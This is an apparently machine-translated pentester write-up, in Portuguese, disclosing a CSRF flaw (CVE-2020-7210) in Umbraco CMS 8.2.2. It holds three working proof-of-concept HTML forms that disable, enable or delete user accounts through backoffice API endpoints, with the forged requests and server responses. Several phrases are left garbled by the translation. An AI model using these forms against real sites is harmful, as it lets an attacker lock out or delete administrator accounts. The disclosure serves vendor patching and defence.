CSRF na Umbraco CMS

A falsificação de solicitação entre sites pode ser usada para fazer solicitações arbitrárias da Web para o sistema de gerenciamento de conteúdo Umbraco CMS e identificar seus usuários sem o seu conhecimento. Esse ataque sempre exige interação com o usuário, mas, como regra, é suficiente para a vítima seguir um link especialmente preparado ou visitar uma página da Web sob o controle de um invasor. Isso possibilita ativar, desativar ou excluir completamente as contas de usuário. Como resultado, há uma ameaça de ataques de negação de serviço às contas.



fundo


Durante o teste de uma pequena penetração de recursos, foi descoberto o CSRF -uyazvimost em fresco na época do Umbraco CMS. Essa vulnerabilidade permitiu ativar, desativar ou excluir completamente as contas de usuário, incluindo aquelas com privilégios administrativos.

Apesar do fato de que, no último relatório do Top Ten de 2017 da OWASP, as vulnerabilidades do CSRF deixaram a lista das 10 mais críticas, é muito cedo para descontá-las.

A vulnerabilidade foi testada na versão 8.2.2; na versão 8.5, ele já foi corrigido, mas é possível que outras versões anteriores a ele permaneçam vulneráveis. Os usuários deste produto são fortemente encorajados a atualizar imediatamente para a versão mais recente disponível.

Prova de conceito


No caso de um ataque real, o seguinte documento HTML será colocado em um site malicioso controlado por um invasor.

Exemplo 1: HTML para desativar um usuário


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Uma solicitação enviada ao servidor em nome da vítima:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

A resposta recebida do servidor:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

Exemplo 2: HTML para habilitar um usuário


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Inquérito:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Responda:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

Exemplo 3: HTML para excluir um usuário


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Inquérito:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Responda:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}


A vítima recebe uma resposta do servidor no formato JSON (tela clicável).

Assim que uma vítima autenticada (administrador) visita um site com HTML malicioso incorporado, o conteúdo malicioso ativo começa a ser executado no contexto da sessão da vítima. Embora as respostas a essas solicitações não sejam entregues ao invasor, em muitos casos, será suficiente para ele comprometer a integridade das informações da vítima armazenadas no site ou executar solicitações potencialmente comprometedoras para outros sites.

Em vez de uma conclusão


Embora mais e mais ataques tenham passado recentemente para o lado do servidor do lado do cliente, eles ainda precisam receber a devida atenção. Após conversar com o cliente, contatamos rapidamente o fornecedor do produto de software e recebemos informações sobre a correção. A vulnerabilidade foi atribuída ao índice CVE-2020-7210. Admito que, para mim, como pentester, esta é a primeira vulnerabilidade a receber o índice CVE.

Source: https://habr.com/ru/post/undefined/


All Articles